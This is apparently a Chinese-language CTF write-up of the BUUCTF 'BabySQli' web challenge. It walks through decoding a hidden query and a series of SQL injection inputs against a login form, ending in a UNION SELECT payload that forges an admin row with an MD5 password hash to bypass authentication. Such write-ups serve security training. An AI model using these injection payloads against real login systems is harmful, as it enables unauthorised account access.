1. 程式人生 > 其它 >BUUCTF - Web - BabySQli

BUUCTF - Web - BabySQli

BabySQli

拿到一個登入框


隨便填些資訊登入一下


這裡使用者名稱不是admin的話會提示使用者名稱錯誤,其他都提示密碼錯誤,看來admin就是正確使用者名稱
可以看到返回頁面有註釋MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
這串字元不區分大小寫,只有[A-z2-7],看來是base32


這很顯然是base64


解碼出來了一段sql語句:select * from user where username = '$name'
可以看到查詢語句中的$name

被單引號閉合了,嘗試用單引號閉合name=admin' or 1=1 -- qwe&pw=123

查欄位:name=admin' order by 2 -- qwe&pw=123

存在繞過,換大寫試試:name=admin' ORDER BY 4 -- qwe&pw=123

最後查出來三個欄位
判斷使用者名稱所在欄位:name=1' UNION SELECT 'admin',2,3 -- qwe&pw=asd


no user,把使用者名稱放到第二位查詢:name=1' UNION SELECT 1,'admin',3 -- qwe&pw=asd


看來使用者名稱被存在第二個欄位,無法查出資料,可能後端是利用兩個if

語句來驗證使用者名稱密碼的

構造payload

我們不知道admin的密碼,這時可以隨便寫,當聯合查詢不存在的資料時,只要欄位一致,資料庫會將該資料與原資料合起來輸出


我們可以看到,資料庫不光顯示了我聯合查詢的資料,也顯示了使where成立的資料
一般密碼是使用雜湊演算法計算後儲存在資料庫中的,那麼我們也可以將asd進行雜湊加密(asd是隨便寫的)

先試試MD5:7815696ecbf1c96e6894b779456d330e
這裡的第三位要與後面密碼位保持一致:name=1' UNION SELECT 1,'admin','7815696ecbf1c96e6894b779456d330e' -- qwe&pw=asd


得到:flag{b13f4d63-8b0e-47ef-aee6-a6c31fe6f091}

總結

這道題可能也不是很難,但確實有爽到我
又一次體會到了拿到flag的樂趣!